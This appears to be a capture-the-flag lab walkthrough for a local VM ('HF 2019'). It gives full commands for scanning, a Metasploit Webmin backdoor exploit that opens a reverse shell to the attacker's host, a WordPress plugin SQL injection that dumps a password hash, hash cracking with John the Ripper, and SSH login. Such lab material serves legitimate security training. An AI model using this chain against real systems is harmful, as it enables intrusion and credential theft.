HF 2019 – Pentesting Command Cheatsheet

A complete workflow

1️⃣ Discover the Target

Identify active hosts in your VirtualBox network

nmap -sn 192.168.56.0/24

Ping scan to find which machines are alive.
Verify target availability

ping 192.168.56.101

Confirm the machine is responding.
2️⃣ Initial Enumeration
Basic TCP SYN Scan + OS Detection

nmap -sS -O 192.168.56.101

Find open ports and detect OS.
Deep scan for identified services

nmap -A -p 21,22,80,10000 192.168.56.101

Version detection, scripts, traceroute on common services.
3️⃣ Web Enumeration
Check HTTP server response

curl -I http://192.168.56.101

Fetch HTTP headers and confirm server type.
Manual inspection

Open browser → http://192.168.56.101

View page source for hints

Use Wappalyzer to identify the tech-stack
✔️ Detected: WordPress

4️⃣ WordPress Enumeration (WPScan)
Run WPScan using API token

```
wpscan --url http://192.168.56.101 --api-token YOUR_API_KEY
```

Scans themes, plugins, users, and known CVEs.
Results Identified

Multiple plugin vulnerabilities

Focused on:

Webmin Backdoor (port 10000)

Google Maps Plugin SQL Injection

5️⃣ Exploit 1 – Webmin Backdoor (Metasploit)
Search for exploit

```
search webmin_backdoor
```

Use the module

```
use exploit/linux/http/webmin_backdoor
```

Configure options

```
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set LPORT 443
set ForceExploit true
```

Run exploit

```
run
```

Expected Output

[+] The target is vulnerable.
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened ...

✔ Root-level or shell access established (Session 1).

6️⃣ Exploit 2 – WP Google Maps SQL Injection

Understanding this Vulnerability (Simple Explanation)

The WP Google Maps plugin had a SQL Injection flaw in older versions.
It allowed attackers to pull data directly from the WordPress database without authentication, including user credentials from the wp_users table.

Search the Metasploit module

```
search wp_google_maps
```

Use the SQL Injection auxiliary module

```
use auxiliary/admin/http/wp_google_maps_sqli
```

Configure

```
set RHOSTS 192.168.56.101
```

Run

```
run
```

Output

```
Found webmaster $P$BsqOdiLTcye6AS1ofreys4GzRlRvSr1
Credentials saved...
```

7️⃣ Cracking the WordPress Password (John the Ripper)

Save the hash in a file

```
nano wp_hash
```

(Paste the hash inside)
Crack using rockyou

```
john --wordlist=/usr/share/wordlists/rockyou.txt wp_hash
```

View cracked password

john --show wp_hash

8️⃣ SSH Login

ssh webmaster@192.168.56.101

(Enter cracked password)

✔ Successful login
You are now inside the machine.
9️⃣ Basic Post-Exploitation
Check network

ip a

Check current user

whoami

Try privilege escalation

sudo su

List files

ls -la

Read flag

cat flag.txt

✅ Final Output Example

83cad236438ff0c0dbce55d7f0034aee18f5c39e